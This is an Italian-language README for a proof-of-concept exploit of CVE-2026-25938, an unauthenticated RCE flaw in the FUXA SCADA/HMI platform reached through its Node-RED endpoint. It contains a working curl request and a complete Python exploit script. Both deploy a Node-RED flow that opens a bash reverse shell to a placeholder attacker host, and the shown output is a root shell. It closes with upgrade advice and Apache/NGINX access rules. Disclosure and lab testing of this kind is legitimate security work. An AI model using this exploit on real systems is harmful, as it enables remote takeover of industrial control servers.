judgedbykira/cve-2026-25938-fuxa-unauthenticated-rceUna spiegazione e un PoC per sfruttare la vulnerabilità CVE-2026-25938 di RCE non autenticata su FUXA
FUXA è una piattaforma SCADA (Supervisory Control and Data Acquisition) e HMI (Human-Machine Interface) gratuita, open-source e basata sul web, utilizzata per automazione industriale, IoT e visualizzazione di processi in tempo reale. Consente agli utenti di creare dashboard personalizzate e monitorare le macchine direttamente nel browser web senza richiedere costosi software proprietari o pesanti editor desktop.
CVE-2026-25938 colpisce FUXA versioni da 1.2.8 a 1.2.10 quando l'integrazione Node-RED è abilitata (lo è per impostazione predefinita). La vulnerabilità deriva da un'applicazione insufficiente dell'autenticazione sulle funzionalità che espongono le capacità di Node-RED, consentendo a un attaccante remoto non autenticato di accedere a operazioni che dovrebbero richiedere autorizzazione, come creare flussi, uno dei quali in grado di eseguire comandi sul sistema. Poiché Node-RED può eseguire flussi con i privilegi del processo FUXA, questo bypass dell'autenticazione può infine portare a un'arbitraria esecuzione remota di codice sul server sottostante. Il problema è risolto in FUXA 1.2.11 e successive.
Eseguiremo un Docker Container utilizzando una versione vulnerabile di FUXA, in questo caso la versione 1.2.8:
docker run -d -p 1881:1881 --name fuxa-1.2.8 frangoteam/fuxa:1.2.8
Il seguente payload attiverà una reverse shell verso l'indirizzo IP specificato nel nodo exec abusando della vulnerabilità:
tab creerà un flusso chiamato "RCE".inject si attiverà automaticamente una volta distribuito. Tutto ciò grazie a questi parametri "once": true e "onceDelay": 0.1exec eseguirà il comando che vogliamo eseguire, in questo caso la reverse shell. È specificato in "command": "bash <snip>".curl -X POST http://<IP_ADDRESS>:1881/nodered/flows \
-H "Content-Type: application/json" \
-H "Node-RED-Deployment-Type: full" \
-H "Referer: http://192.168.1.201:1881/editor" \
-d '[
{
"id": "tab1",
"type": "tab",
"label": "RCE",
"disabled": false,
"info": ""
},
{
"id": "inject1",
"type": "inject",
"z": "tab1",
"name": "",
"props": [{"p": "payload"}],
"repeat": "",
"crontab": "",
"once": true,
"onceDelay": 0.1,
"topic": "",
"payload": "",
"payloadType": "date",
"x": 150,
"y": 100,
"wires": [["exec1"]]
},
{
"id": "exec1",
"type": "exec",
"z": "tab1",
"command": "bash -i >& /dev/tcp/<ATTACKER_IP>/<ATTACKER_PORT> 0>&1",
"addpay": "",
"append": "",
"useSpawn": "false",
"timer": "",
"winHide": false,
"oldrc": false,
"name": "",
"x": 350,
"y": 100,
"wires": [["debug1"], [], []]
}
]'
Se creiamo un listener per la nostra reverse shell, riceveremo una connessione con una shell di root quando inviamo il payload:
┌──(kali㉿jbkira)-[~]
└─$ nc -nlvp 443
listening on [any] 443 ...
connect to [192.168.1.36] from (UNKNOWN) [192.168.1.201] 59546
bash: cannot set terminal process group (1): Inappropriate ioctl for device
bash: no job control in this shell
root@887eaf642fc4:/usr/src/app/FUXA/server#
#!/usr/bin/env python3
import argparse
import requests
import sys
import json
# Color codes for terminal output
GREEN = "\033[92m"
RED = "\033[91m"
YELLOW = "\033[93m"
ORANGE = "\033[33m"
BLUE = "\033[94m"
RESET = "\033[0m"
def exploit(target_url, listener_ip, listener_port):
# Extract host:port from URL for Referer
target_host = target_url.split("//")[1].split("/")[0]
# Build the full endpoint
if not target_url.endswith("/"):
target_url += "/"
endpoint = f"{target_url}nodered/flows"
# Payload for the exploit
payload = [
{
"id": "tab1",
"type": "tab",
"label": "RCE",
"disabled": False,
"info": ""
},
{
"id": "inject1",
"type": "inject",
"z": "tab1",
"name": "",
"props": [{"p": "payload"}],
"repeat": "",
"crontab": "",
"once": True,
"onceDelay": 0.1,
"topic": "",
"payload": "",
"payloadType": "date",
"x": 150,
"y": 100,
"wires": [["exec1"]]
},
{
"id": "exec1",
"type": "exec",
"z": "tab1",
"command": f"bash -i >& /dev/tcp/{listener_ip}/{listener_port} 0>&1",
"addpay": "",
"append": "",
"useSpawn": "false",
"timer": "",
"winHide": False,
"oldrc": False,
"name": "",
"x": 350,
"y": 100,
"wires": [["debug1"], [], []]
}
]
headers = {
"Content-Type": "application/json",
"Referer": f"http://{target_host}/editor"
}
try:
response = requests.post(endpoint, json=payload, headers=headers, timeout=10)
if response.status_code == 200 or response.status_code == 204:
print(f"{GREEN}[+] Exploit successful! Check your listener for a reverse shell. ;){RESET}")
else:
print(f"{RED}[-] Exploit failed. Status Code: {response.status_code}{RESET}")
except requests.exceptions.RequestException as e:
print(f"{RED}[-] Error occurred: {e}{RESET}")
def argparse_setup():
parser = argparse.ArgumentParser(description="Exploit for FUXA Unauthenticated RCE (CVE-2026-25938) created by JBKira")
parser.add_argument("-u", "--url", help="Target URL (e.g., http://targetIP:1881/)", required=True)
parser.add_argument("-l", "--listener-ip", help="Your listener IP for reverse shell", required=True)
parser.add_argument("-lp", "--listener-port", type=int, default=443, help="Port for reverse shell (default: 443)")
return parser.parse_args()
def banner():
print(f"{YELLOW}")
print(r"""
_____ _ _ _____ _____ _____ _____ ____ _____ _____ _____ _____ _____
/ __ \ | | | ___| / __ \| _ |/ __ \ / ___| / __ \| ___|| _ ||____ | _ |
| / \/ | | | |__ ______`' / /'| |/' |`' / /'/ /___ ______`' / /'|___ \ | |_| | / /\ V /
| | | | | | __|______| / / | /| | / / | ___ \______| / / \ \\____ | \ \/ _ \
| \__/\ \_/ / |___ ./ /___\ |_/ /./ /___| \_/ | ./ /___/\__/ /.___/ /.___/ / |_| |
\____/\___/\____/ \_____/ \___/ \_____/\_____/ \_____/\____/ \____/ \____/\_____/
""")
print(f"CVE-2026-25938 Exploit for FUXA NODE-RED Unauthenticated RCE created by JBKira{RESET}")
print(f"{ORANGE}github.com/judgedbykira{RESET} | {BLUE}linkedin.com/in/yeray-medina{RESET}")
print(f"Only use this in real penetration tests or lab environments. Unauthorized use is illegal.\n")
def main():
args = argparse_setup()
banner()
exploit(args.url, args.listener_ip, args.listener_port)
if __name__ == "__main__":
main()
Se possibile, aggiorna a una versione uguale o superiore alla 1.2.11; la vulnerabilità è corretta nella versione 1.2.11.
Se non è possibile aggiornare, puoi procedere come segue:
Se Apache viene utilizzato come punto di ingresso all'applicazione. Non funzionerà se Apache non può vedere l'IP del client a causa di NAT, Docker Proxy, ecc.
<LocationMatch "^/nodered/">
Require ip 127.0.0.1
Require ip ::1
Require ip <TRUSTED_MGMT_CIDR>
</LocationMatch>
Se NGINX viene utilizzato come punto di ingresso all'applicazione. Non funzionerà se NGINX non può vedere l'IP del client a causa di NAT, Docker Proxy, ecc.
location /nodered/ {
allow 127.0.0.1;
allow ::1;
allow <TRUSTED_MGMT_CIDR>;
deny all;
}